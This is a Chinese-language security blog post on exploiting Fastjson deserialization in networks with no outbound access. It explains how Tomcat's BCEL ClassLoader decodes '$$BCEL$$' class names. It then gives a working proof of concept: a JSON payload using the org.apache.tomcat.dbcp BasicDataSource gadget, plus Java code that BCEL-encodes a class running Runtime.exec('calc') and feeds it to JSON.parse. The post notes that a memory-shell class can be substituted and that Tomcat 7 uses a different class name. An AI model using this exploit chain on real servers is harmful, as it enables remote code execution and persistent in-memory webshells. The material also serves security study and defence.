天天看點

Java安全之Fastjson内網利用

Java安全之Fastjson内網利用

0x00 前言

在打Fastjson的時候,基本上都是使用JNDI注入的方式去打,也就是

JdbcRowSetImpl 鍊分析的鍊去打,但是遇到一些不出網的情況就沒辦法使用該鍊去執行指令。JdbcRowSetImpl 鍊分析

但在看到kingx師傅的一篇[Java動态類加載,當FastJson遇到内網]後,陷入了沉思。

0x01 BCEL位元組碼

這用到的是BCEL位元組碼然後使用classload進行加載。但是思考到一個問題,為什麼是使用BCEL也不是直接使用

TemplatesImpl

鍊去做本地的指令執行呢?其實前文中提到過這

TemplatesImpl

的漏洞觸發點會有限制。調用

parseObject()

方法時,需要加入

Feature.SupportNonPublicField

參數。

而在tomcat中的

com.sun.org.apache.bcel.internal.util.ClassLoader

的loadclass方法中可以進行bcel位元組碼的加載。

protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }
           

判斷是否為

$$BCEL$$

的話則調用

createClass

方法,否則調用

modifyClass

方法傳回一個class,

modifyClass

方法則是調用自帶的classloader來加載。

來看到

createClass

方法

protected JavaClass createClass(String class_name) {
    int    index     = class_name.indexOf("$$BCEL$$");
    String real_name = class_name.substring(index + 8);

    JavaClass clazz = null;
    try {
      byte[]      bytes  = Utility.decode(real_name, true);
      ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

      clazz = parser.parse();
    } catch(Throwable e) {
      e.printStackTrace();
      return null;
    }
           

截取

$$BCEL$$

位元組後面的内容然後進行解密,解密為class位元組碼,調用defineClass進行加載位元組碼。

com.sun.org.apache.bcel.internal.classfile.Utility

包中有BCEL位元組碼的解密和解密方法。

String s =  Utility.encode(data,true);

byte[] bytes  = Utility.decode(s, true);
           

0x02 利用鍊

添加tomcat依賴

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>
           

來看到poc

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}
           

使用該poc加載bcel位元組碼。詳細可移步到[Java動态類加載,當FastJson遇到内網]

編寫一個test類

package com;

import java.io.IOException;

public class test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

           
package com;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
class fj_test {
    public static void main(String[] argv) throws Exception{
        JavaClass cls = Repository.lookupClass(test.class);
        String code = Utility.encode(cls.getBytes(), true);//轉換為位元組碼并編碼為bcel位元組碼
        
        String poc = "{\n" +
                "    {\n" +
                "        \"aaa\": {\n" +
                "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                "                \"driverClassLoader\": {\n" +
                "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "                },\n" +
                "                \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
                "        }\n" +
                "    }: \"bbb\"\n" +
                "}";
        System.out.println(poc);
        JSON.parse(poc);
    }
}
           
Java安全之Fastjson内網利用

需要打記憶體馬替換為記憶體馬class即可。

在tomcat8以後和tomcat7的版本存在一點小差異

tomcat7使用的類是

org.apache.tomcat.dbcp.dbcp.BasicDataSource

,而在8版本以後名為

org.apache.tomcat.dbcp.dbcp2.BasicDataSource

0x03 結尾

即便如此我個人依然覺得fastjson并不能算是一個利用比較舒服的洞。而在實際中遇到更多的可能隻是去進行反彈shell利用,需要使用becl必須考慮到fastjson版本問題。或在利用RMI/LDAP的話也會有JDK版本限制。